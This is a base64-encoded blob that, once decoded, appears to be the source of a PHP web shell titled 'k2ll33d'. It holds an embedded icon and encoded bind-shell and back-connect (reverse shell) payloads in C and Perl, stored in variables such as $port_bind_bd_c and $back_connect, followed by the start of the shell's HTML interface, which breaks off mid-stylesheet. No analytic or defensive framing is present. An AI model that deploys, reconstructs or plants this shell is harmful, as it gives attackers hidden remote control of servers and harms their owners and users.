kvd0RFMjEwWm1Dbm1LMUI1Si8zMkcwZXdldmdBMkpKNlY3TCsxVjQ5aThaL0hYeERjeFNtNHRiUXgyRWJBNVVHSkFyaGZiekE1L0hOZVpRTkhOMFA1MTh6aWFzcDFHK2gvV2ZDR1MwTUpsVktIMjVwU2wzdTF0OGxaZkl4VFlObnBRTk5adXhycEZoVTloVW9pVWRoWEg3Um4zaXllRXQyY3d1a08zYXJFV2hzeDVHSzZOWWhUdG1PMUoxV2RVTWxvTFZtUERvcUw5NFZianNraTZMVjNITkxzck55YlBUcDRLbFQrR0pVOHZQRkFpR2FzbEtUYUtMbXZzVjFJUEw5cUN1S2xLMHhxTGt1Q1JHYWFlYWUzV200cG5QSkRDS1lha0l6VVo2MHpDUW5lbFFaTkNqbXBvMG9DRWJzZWdwenR0RktPQlZPK3VoRWg1cGJuVlVtcVVISmxEVkx3S3A1cmp0VjFEY1NNMWQxalV1V3dhNVc1bk1ySG12U28wK3JQeDNQczE1NU9FR1FYRXBrZkFvcFVqN21pdSs2V2grZE9EbSthUjZrSkNldFAzbW9xY29yeExIOUF4a3lUZWZXbmJqNjB4UVdxZExjc2FUc2RNRktXeEdEbXBFZ0xubXJNZHNCak5XQXFvS3piTytuaG05WkVVTnNFSFNuU3lyRXRRM1Y4a0lJeU0xZ1gyck01SUJxb3hjalBFNDJqZzQyVzVjMURWZHVWQnJBdUx0cFNlVFRKSldsYnJta1dJbXV1TUZFK0R4V05xNHFXK2cwS1dxeEREVDRvTW1yMEZxZlNtNVdKb1laemV3MkNEcFY2S0RnY1ZKRGE0NjFLOGl4REE2MXpPVjlqNm1qaGxUamVRWVdOY21xTnpkbDhoZUtXZVF5RTVQRlZ0cHB4WGN5cjEyL2Rob2lNcVdPYVZVMjlha0lBcHA1TmFYUE41RW5jVEJZNHFaWXdpNU5PaWl3TW1nL08yS2xzNkl3dHE5eG9HODFaaGhMa0tCU3hRNElBR1NhMUxlM1dGTW5yV2NwV1BVdzJGYzNkbnBuN04veGNmNENmRS9UUEU1amE0c0FEYmFoQW4zcGJkOGJzZTRJVmg3cUsvUjNYZmpaYWVQdEp0Ymp3dmVKZGFYZVJoNDdtTThNcC9VRWRDRHlDTUd2eCsxclV5VDVVWit0ZTdmc2kvRzVQQk9ydDRVMW1ZSnBPcFM1dHA1RHhiVG5qQlBaVzRIc2NIdWE5UEJWWFQ5Mld6UHlUeEJ5YWxtUCsxNE9QN3ltck8zMm9yOVYrSzA3SDNKYldxUVNiaisrbmJrazg0cTVlV01PcDJVMXRlUnBjVzh5R09XS1JkeXVwR0NwSGNFVXRqYitYSG5HU2VwcWQzMnFUMHhYdkg4NXB0TzZQem4vQUdrUDJmN3I0UjY4OS9wMGNseDRXdkpEOW5tNm0zWTgrVTUva1QxSHVEWGlUdmpOZnEvNG9zTERYOUx1OU8xTzJqdmJLNVF4eXdTcmxXWC9BRCtWZkJYeDIvWnUxRDRmM0Z4cTJnSkxxWGh3a3N5Z2JwclFlai8zbC8ydno5VDQ5ZkRPRDVvYkg3Znc5eFhIRjA0NFRHdTFSYUo5SmY4QUIvUDFQRHk5UnMzNDAxbXdUbW8yY0R2WEhZKzVsVTduc2Z3Uy9hTzFqNFZTeDZmZEdYVXZEek5rMndiOTVCbnEwWlAvQUtDZUQ3ZGErNHZBSHhwMHJ4dHBhM21sWDBPcVd1QnZRbkVrUjlIVThxZnJYNWJtVDBxOW9uaVBVdkRlb1IzMmxYMDloZHA5MmFCeXJmUTQ2ajJOZGxLdktubzlVZkNaeHc3aHN4azYxSjhsVHYwZnF2MVg0bjYzMjF4cE90ZktyQzNtUDhMMVcxTHdlNng3MFVPUFVWOEZlRHYyd3RkMHRZNGRlMCtIVmtYajdSQWZJbC9FQUZUK0FGZTUrRHYyNC9DMGFJdDNQZTJhOURGZDI1ZFIrS1pyMEkxNmN1cCthWWpoL01jTTdleTVsM2pyL3dBSDhEMlNmUlpiYzRDL1dxY3RyS2h5RnJqdkVmN2Ivd0FNN1MzZyt6UVh1c1hVbjMwczQvTFZQcTBtUDB6WEk2aCsydDRXYU5tdGZER3FTTmpJVjVZbEg1Z24rVkR4RktMczVGME9HYzR4TUZVcFllVFh5WDROcG5yMFR5UmtaR0RVdDVyZHJvMW5QZVg5MUZhV2tTN3BKcG5DSW85U1R3SytYdGIvQUd2dkVldnpyWmVHZkNzRUZ4S2RzWWtaN3FVbjJWUXZQNEd0cndyOEF2SHZ4VDFPMjFuNG8zMXpGcGtaOHlMUnkyeG45aWk0V01ldjhSOXV0UXNRcHUxTlgvSTZxbkRsYkF4OXJtYzFTajJ1bkoraVgrZWg2NTRVOGZ5L0ZMVkpKZEpXV0R3bGFQc04rNmxXMUdRZFVqQjVFWTd0MWJvTUROZWtpY0lPY1lOWkZobzhXbFdzTnBhd1IyOXRBZ2pqaWpYYXFLT2dBSFNySVYxeHU1WFBldW1LYVd1NTh4aUtrS2svM1VlV0syWFgxYjZ0OWZ3ME55eW4ybmQxUHBYSC9IejR0eC9DMzRaNmhxTWNnWFZic0cwc0VCNTgxZ2ZuK2lqTGZnQjNyb0RlcFp3U1RTeUxGREdwZDNjZ0txZ1pKSlBRVjhCZnRIL0dEL2hhM2piTmxJemFIcG9NRm1Ed0pEbjU1TWY3UkF4N0FWejRpcDdPR203UHBPR2NwZWFZNlBPdjNjTlpmb3ZtL3dBTG5tWmxNckZuWXM3SEpZbkpKcVFFZ2dxeEgwcWlqVllTVEhldm5taituNlZSR2xEcVVzSkc4YmhXbGI2aEhNQmc0UG9hNS96c2pGT1Z4bmc0TlpPQ1o3VkRIMUtUdGU2T3BFdWFjSHpXQkJmdkhnRTdxdlE2Z3JFQThHc1hGbzkramo0Vk4zWTB1OU9xQkpndzRQRlNxd3FHajFJelQySG1rSXBhS2sxYXVSc0tqSzFPUm1tYmNWU1pqS0pEdHBwRlRNS1lWcWpubEFnY1ZHVk5XQ21hRmpwM09aMDIyUnBIVXlydEZLQUZxQzV1bGhVa21sdWFlN1NqZVF0eGNMRXBKTmNwcldxamtBMDdWOWE0SVUxeVY1ZU5PNTVydG8wdXJQenJQYzdTVHBVbVJYdDBaWEl6a1ZVRWVPVFUyd0p5ZXRSdGxqWHBMUldSK1ZWVzV5NXA3aldQUHRSUzdjVVU3blB5dG5xS1FrOXFzeFdoUFdyeXdLdEtTcWRTSzhGeVA2VmhnNHcxa1F4Mm9GVEJBb3FDYStTUHZXWmRhMWdFS2FGRnlDcGljUGhscXpXbHVVaEhKRlpWN3JJVUVMV0xjNmswakg1cXB2S3ptdWlOTHVmTVl2TzVTdkdrV0xxL2FVOG1xbUdjL1dueHdsdW96VnlHMEp4eFcra1Q1dmxxNG1WNUZlT0RQYXJrTnFTZWxYSUxMMnE3SENrWTU2MWpLWjdtSHkvcklyUVdlTWNWY1NOSXV0RFNEdFVSZXNkV2UzQ01LUHdrank1NEhBcUJqbWhwQlVUU0FWU1JsVXFYM1lPQlVURUFVTSthais4YXV4NTg1TG9CeXg0cWFHRFBKcVNHMzZFMUs1QzhDazMwUnRUbzI5NlpFNTdDcElvOWc1KzhhSVk4NVk5TzFXN2FIekd5YWx1eDJVcVRuSzVOYTIrMzVqVU9xM3d0NFNBZVRWeVp4REhucHhYSzZqZEc0bUl6eG1wZ3VaNm5WajhRc0hRNUlic3JnbVJ5N2M1cHk1TFpIQm9VWVhGUGpYbXVvK01qRzU5dmZzcS90TlI2OWFXbmczeFZkQ1BWb2dJOVB2NW00dWxIU055ZitXZzdIK0ljZFI4MzBwcVY2TGRUenlhL0pFeXRDd2RXS3NweUdVNElOZlUzd0wvYXlFOGR0NGY4Y1hPSkZBanR0WWtQRGRnc3g3SC9BRy96OWE5VERZblRrbjk1K1BjVThLOGs1WTNMNDZQV1VWMDg0L3F2dTh2cUs5dUMrU3g2MWhhbmRwR21PR0I0SXEyOXdiMVFZeUdWdVZaVGtFZTFXclB3NEpodW1HZStLOVEvSWo1cStLSDdNK2orTnA1YjdRbEdnNm0rV1pVVE52S2ZkUjkwKzYva2ErY1BHUHdMOGJlQ1dkdFEwUzRsdFYvNWU3TWVkRVI2NVhsZitCQVYrblVlaHhJdkVZeVBhbVRhWXVPSStQcFhMUER3bHF0RDZ6QWNTNDNCcFU1dm5pdWozK1QvQU03bjVHbUZsSkJHQ091YVFJUlg2ZjhBaWo0TytFL0Z4ZHRXOE8yTnpJM1dZd2haUCsrMXczNjE1WnJYN0lIZ0s2a2J5SUwrd09lbHZkRWovd0FmRFZ5dkN6V3p1ZlkwT0xzRE5mdllTaS9rMStuNUh3bnROUFVIdlgyZTM3R0hoSGZrYWxxNEhwNXNmL3hGYkdsL3NpZUFiRXEwOE45ZnNEbkU5eVFQL0hBdFI5V3FNNjN4WGxrRmRPVCtYK2JQaHhWSkl4eWE5TytIUHdQOGIrT1pFZXowOTdDd09NM21vZ3hSWS8yUVJ1Yi9BSUNEWDIxNGIrRlBoUHdvRUdrK0g3RzFrSFNVUWhwUCsrMnkzNjEyQXNRaURqazloV3NjR244YlBIeEhHOVNQKzQwK1Y5Mi8wWCtacC9DeUx3bjRGMERUOU5qOFBXRmxjUVFKRE5mV2x1cVNUTUZBWjJiN3h5Y25rbnJYcEMyZWo2dW02MnVFSkkrNjNCcnlxSzEyL2VIRldvaThSQlZpcDlqWG9wS0tzajgxclZxbUltNnRXVGNudTJkemVlRUFDU2dERDFXdWUxalI0ZEl0TGk2dkpvclcxaFF5U1RUTUVSRkhVa25nQ3FjdmpPYlFMU2E3dTc1TGF6aFV2Sk5jT0ZSRkhVa25nQ3ZoMzlxVDlwZWI0dGEzRnBPajNjNDhNV1F3UU1vdDNMbm1RanVvR0F1ZmM5NndyVmxTamZxZTVrbVRWYzV4S3BSZkxCZkZLMTB2K0MraUx2N1IzN1I2K0xVdWZDL2hTVjEwVW5aZDZnTXFidkg4Q0R0SDZucTNzT3Z6Y0ZLMU9ad2M4VXd5RDJydzUxSlZKYzBqK2lNQmxtRnl1Z3FHR1ZrdXZWdnUvTVFaRk9EVkd6aWplS2l4Nktra1RoeUR6elVxeUFHcVpseFI1MkJTc2F4ckpGOFM3VG1wQk9HNzRyTzgvaWhaZmVwNVRvV0t0c2JscmViQ0FXclVndkZZY211VVc0cVpMd3FCeldVcWR6Mk1QbWJwNk03QlpsUGVuaHg2MXkwZXBNUDRxbmoxWWpxYXlkTm52VTgzcFBjNlBJTkhCckRYVnZVMDhhc01kYWprWjFyTXFNdXBya0NrSUdLeVRyQUhlbVByS2dkYWZJeVpaaGgrNXJFcUtqZVpVSEpBckJuMTBBSEJyTHU5Y2RzNE5hUnBObms0ak82RkphSFFYdXNSd0tmbTVybDlUMXhwU2NIaXFOeGRTVFp5ZUt6NUpBT3B5YTdLZEZJK0F6TFBLMkl2R0xzaHR4TTh6SEpPS3JzZHZUbW5NNWI2VTBybXV0SHhGU1RtN2tmSjY4MG9XcEFoTlBXRW50VHVaS20yUTdUUlZ5TzF6Mm9wY3gwUndzbjBQUVp0YkdPT0t6cDlZWnllYXlHbkxkNlprc2E0VlRTUDBhdG0xZXIxTGMxKzdrODFXYVF1ZXRDeE0zdFV5VzNyV21pUE1icTFuZGtDeGxqVm1LMUxkcW5qaVZSelV3bVZPbFE1ZGpycFllSzFteDBObUZBSnEwbXlNY0NxZjJqM3BQUHJOcHM5U0ZXblRYdW92L2FPS1F6KzlVUE9vODZseW1uMXRzdW1lbW1ibnJWVXVjMGMwN0V2RU5relNacG00MG1La2lpTEduc1N1YWJzSWlselZ5M3RlaElxYTJ0UUJrMVljaU1WaktYWTllaGhWRmM4eUtYRWE0QnFxRk1qMCtWaTdVOVYySUIvRWFGb1hMOTVMeVE2T1B6R0NyMEZhTWFDTmFpdElkZ3pUcnVZUm9lYXpidWVyUmdxTVBhU00zVjd6YXBVR3NCUnVZazFQZlRtYVU5NlpFbkZkY1Z5bytKeGRaNG11MzBRdUtsUVlHYVFKelNUTnRYSGVqY3pTNVZ6TWduazNNUjJxSGFXTlNGY2lueHB6V214eE5PY3RUMWY0UDhBN1JIaVQ0VnZEYXNSck9ocWVkUHVtT1l4L3dCTTM2cDlPUjdWOXMvQ3o0L2VDdmloSEhGcCtvTFk2b3crYlRiNGlPVUgwWHMvL0FTZm9LL05SdW1LV0ptUnd5a3F3NUJCd1JYUlN4TTZmbWo1WE5lRThCbWJjNHIyZFQrWmRmVmJQOEg1bjYvQzIrWEZNaTA5cmlVTGl2emk4QS90UmZFSHdDc2NFR3NIVnJCTUFXbXFBenFCNkJzaHgrRFlyNkM4Ri84QUJRSFNsS2Y4SkQ0VHU0SlJ3MG1tenJLcDk5cjdjZm1hOUNHTXBTMzBQekhHY0VadGhuKzVpcWkvdXZYN25iOExuMUxlZUY1UEpKMmRzNUZjZnFXa09qNUtrVm1hUiszejhKNzJKWTdtTFhMYlBCYVN4VWdmOTh1VFdpLzdVdndSMWxUdThWUGF0MkUybTNRL1VSbXRsaUtMKzBqeFo4TTUzQlhlRHFQMGkzK1NabHkyanF4SldpS0Z1Y2pCcVM2K05Yd2V1VnpiK09iSWtkcExlNFQvQU5DakZZZDk4YXZoakFjcDQwc0g5TnNjeC9rbFY3YWwvTXZ2Unh2Sk0xV2p3dFQvQU1BbC9rZFJGRUF3eU1tclNSYmxPVjVOZVlYL0FPMHI4TmRKalp6NGpGMFFPRXQ3T2RtUDArUUQ4elhtbmkzOXVUVExaSkl2RGZoKzR2SmVpM0dwT0lrSHZzVXNUK1lxWGlLVWZ0SFRRNGR6YkVTNVk0ZVMvd0FTNVYvNU5ZK21QSXczemNEcm12SlBpZCswdDRQK0hIbTJzTS85dmF3bVI5anNuQlZEL3R5ZEYrZ3lmYXZrYng5KzBINDQrSWF5UTMrcnZhV0w5Ykt3SGt4RWVod2N0L3dJbXZOK2E0cW1NYjBwbysveXpnVlJhcVpqTy84QWRqK3Ivd0F2dk85K0tYeHU4VC9GaTdQOXFYZjJmVFZiTVdtV3hLd3A2RWorTnZkcysySzgrMmdmV3BjY1V4aGozcnozSnlkNUg2aFF3dEhDVTFTb1JVWXJvaG5UM29JR0tSalRDYVJUYVF1Mm1ra1V1NmtKNE5Vakp0ZEF6Um5OUnRubW1Fa0NneGM3RS84QUtscXQ1ckR2UjlwWWU5T3pKOXRGYmxnc2MwN2VSVlQ3V1IybysyZjdORmgrM2d1cGI4NWw3MG91V0I1cW45dUg5Mmo3YUNQdTB1WHlENjFIK1l1L2JENjBqWHJmalZMN1lPdXlrYTk5RkZISjVBOFl2NWk0YnFRakFwck5LM1U0cW1iMlFqakFxRjVwSDZzYXJsTUpZdGQyeTVJNFQ3ejFWa3UxSDNSbW9TaGJyU0dHclVVY0ZTdlVsOEtzTWttZVR2Z1ZHc1pOV0JCVWl3K2xYZEk0L1pTbTd5S2dpSjdWS3R2bnJWdExjbnRWbU8xNmNWRG1kZFBCdVhRcFIydWUxV0lyWG5wVjliY0tPQlNoQU8xWk9kejFxZUNVYlhJRmdDOXFLbmJBR2FLVnpyNUlyUWdXTHVhbVJGRlZoTm1sTTlPeGxHY0k2bHNPcWppZ3kxUzgzSnAyOG1wc2FmV094YU0xSjV0UXJrMG9GT3hYdEpNbEVtYWNHelRBdWFrQ1V0RFdQTXdHYWVxa21sU1BQU3JNY0pOUTNZN0tkTnlJZ2xUSkVXcTFIYkRISXExRmErMVpPVmoxNldEY2luSGJaeHhWNjJ0UU1aRlRMQUJqdFZoVkNpc25LNTdkRENSaTdzaktoQlZTZDhuRldKNWRvTlZNR1JxU0tyeSt6RVNOT1N4NkNwNEkvTmZkamltT01BUmo4YXYyOFlqUVVOaW9VdWFWdWlIbkVhMWhhdGQ4RUExbzM5eUkwTmN6Y3pHV1E4MWRPTjNjNDgxeGFoSDJVU05mbmFyU3J0RlJRUjU1cXpqaXVocytab3dkcnNad295ZWxWbmJjMmFsbWJKeDJxRnFFVFZkOUVBNXFXTVlxTUR2VXk4Q2hrUVd0eHA2MHFqQnpTWXpTcm1nMFc1S3ZKcXhFdURVQ0NyY1k0RlpzOUdpcnN0MnBJWUN0Sk9SV1pDZHJaclFpYklyQ1I5UGhKV1ZtVGJSU2VXcG9EVTRFVm1lb2ttTU1DTndWRlJTYVpCSjFRVlpCcGMwN3NUcFU1cjNrbVpVM2grSnZ1RXJXZmNhRFBIeXVIRmRNR3BldFdxa2tjRlhLc0xWMlZ2UTRxUzNsaE9HUXIrRlFzSzdpU0NPVVlaUWF6YnJRWXBRU255TjdWcXFxNm5oNGpKS2tWZWs3bktPS2pOYXQ3cE0xcWZ1N2w5UldheUhKNHJvVWs5VWZLMTZGU2xMbG1yTWdiSU5OTEUxS3dPTVZFeUVWWjUwazBOTFUwbnZRUnpTWU5NNTIyeHJtb2ljVkt3cU1qbXFSelR1TnptZzB1RFM3YW94czJNeHhTN2FrMlU0SUtWeTFUWkR0Tkd6bXJBVE5PQ1o3VXVZMFZHNVhFZVRUeENUVmxZcWxFQngwelNjam9oaHJsTVEwN3lNOXF2TGJFOXFuanRDZTFRNUhaREJ1WFF6RnRTU09NVllTMDVyUUZxYWtFR08xUTVuYkRBSmJvb3JBRjdWTWtmdFZrUm4wcHJMam1wdWRpb0tKQ1Z4MU5NWWdETkxLM1dxMHJseDZWU1Z6bXFUVWRpSzR1TVVWWGxqWnV4TkZiSkk4S3BVcU9XZ2JmYW5CRFYzN0tmU25DM0E3VkhNanJqaFpkU29rV2FsV0wycXlJZ08xUFdLazVIWEREV0lGaXA2eGZuVmdRMUlzZFE1SGJDZ1FKQ1RVMGNKOUtuU1BQYXJVVUh0V2JrZWpTd3R5Q0cyejJxNUZiWUhTck1OdndQU3JLeDRyRnlQb2FHRFVVUXh3Z0RrVktJd0tmdHhTbjJxTG5xUnBxS0doUUtZN0FBMDUyd0tyU3VUUWlLa2xGYUVFcmIyeFRrWHkwM0doSTl6WnBKVzN1RVdxOGp6Ylc5NWo3V1B6Sk41cTVOSUkwTkpDbmxSaXN6VTd3SUNBYUxjek9xVTFoYVBOTGNvYW5kbG1JQnpXZEVwWnFXUmpLK1RWaTJpejJycVM1VlkrR25LV0pxOHpKWW84Q2lad293S2xZaU5hcHNTeEpxVnFkVlIremp5cmNZYU9LUHJTNHJRNEJWR2FlY0dtampGT0FxV2F4N0NZRlBBeFNEbW5Da2FSUTlCVnFMakZWMEZXWXhVTTlHaWl6RU9hdEljVlZqNHFkVFdMUGRwT3lMQ21ucWFnQnFSVGlwTytNaVVHbHpVVzczb0wwckczT2liTktHcUFOVGcrYUxGS29pZmRTZzVxRUhOU0xTTjR5dU9aUTR3UUNLemIzUW9ibkpVYkc5cTB4UlRUYTJNNjFDbGlJOHRTTnpqN3ZRNTdmSkM3aDZpczE0V1hnZ2cxNkNjRWMxVXVMR0NmNzBZK3RieHJQcWZMNG5JSVBXaksza3poREZnMHd4KzFkYk5vRUxFN0NWcWxMb0RxVHR3d3JaVlV6NTJyazJJcDlMK2h6eGo1NlVua1pOYkQ2VzZIbENLamF4SXhrVmZPanpwWUNvdmlSbG1FK2xIbFZwZllqbkdLUTJUZWxQbVJuOVRrdWhuaUwxcHdpcS85aUlwd3NpZXRITWkxZzU5aWdJNmtXSStsYUNXUHR6VmlPeEo3VkxtZGxQQXpmUXo0YmJkVnlLekJxNnRtUU1nVk9scTFZdVo3TkhBY3U2S2lXcWlwQkdxOXF0cmFtbkMweWVsUnpIcHh3clMwUlJaUFNtbENlQUswMXNoNlU4V1k5S1hPYWZVcHlNanltWURpa05xV0hTdDBXcWp0VGhiS08xTG5ORmx0OTJjNmRMYVE5RG1uSm9oWThpdWpFUUhhbmJRS1BhTXBaUFIza1lTYUF2Y1pvcmNad3Z0UlM1NUcvd0RaMkVqbzRuS2xCdHBqSUtLSzZFZkp5aXJEY1lwd0ZGRk15U0hBWXFhSlFXb29xR2RWSmFvc29vcTlDZzIwVVZsSTkzREpYTFNMeFQ2S0t6UGNqc0llQlRTZUtLS0JTSzhqR3F4SkxkYUtLcEhsVmR5Umo1Y1JJNjBsbWdaaXg2MFVVK2dSMXF4VEpydVV4UjhWeTk1TXp5Tm1paXRhU1BGem1jcnBYMEdRcUdZWnJTaFVLdEZGYVNQTndhVnJsYTRrSmsyMUNmU2lpbWpDcTI1TzRuZWlpaW1ZanNaV25xTUNpaWtieEZwNDZVVVVqVkVxYzRxMGc0b29yTm5wMFNkQnhVdzZVVVZrejE0YkM1eFRnZUtLS1JxbnFCWTBtNmlpZ2QyTk1ocDBiRWlpaW1URnZtTFMxS3ZhaWlzejE0YkQ2UThDaWlnMkkzT0tpZHlLS0thT1dvMlJHWTV4U2VhUlJSVkhBNXk3Z0pOMk1nVTFsUmp5Z29vb1FOM1dwRzlwR3g0R0toa3MxWG5ORkZOTm1NNlVHbTdFWGtxS2Q1SXhSUlZYWnhSaEhzVHcyNjR6MXF5c0NrQ2lpb1BTcFFqWmFFZ2lBcDRqR0tLS2s5Q01WMkhCQm1uQkFLS0tSdEZJY0ZGS0Z4UlJRV2tMaWs3MFVVREVMVkZLNVVFMFVVR0ZSdEl6THU3Y0tjY1VVVVYwUlNzZklZbXJQMm01LzlrPSc7DQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYgK2ZsOEtTUXZkaW5DUjJOVG9mcjVwM2JyOGhXbWhYdzZCUTltWUE4bG1qTzRVWHlEOW9TUWFBVjlBeUZQQ05SYStwUkNXdGdtUXJKRSBQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaIGRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwgM1RmVnJ3NG8yUDFzZW5QenNKck9mb1JqbDljZmhXanZJYXR6UnZOdm43K3M1bzhQdDlPdlVSeldaVjk0ZFFnbGVhZzBDM3dRVkt1ZyBVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrIEhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcgdHl4QW5pdllZOEhWRnNFcVdGKy9mN3NCazJOUlFLY0RBL0p0c0U1TURtOUVVRytNaGNGcWtwWDBIbXhHYnFia2RCVE1sZGFIUnNVTCBaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2IHVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMSBObVhSVzFEV3k3SEltbzAyZWJSZDE5S3ExQ0l1VjNCTnRXR3pRWmVnMzQyRGh4Y1l3Y0NBSGVDV0NuMWdET0VnaTF5SGhMWVh6ZndnIHROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QgZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMCBMU0xLOUhNM3B1TXBOaHA3cjhaRlc1NGpnNXdYeDVZWkxRVXlLWFZ6d2RVWForVDNpbVlvVjlkczdKcU5PRWxRVGpueFBjOGtSclZvIHZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0IgK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iWFZIYmFnSXhFSDBYL0lkaGhaTFVXRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9w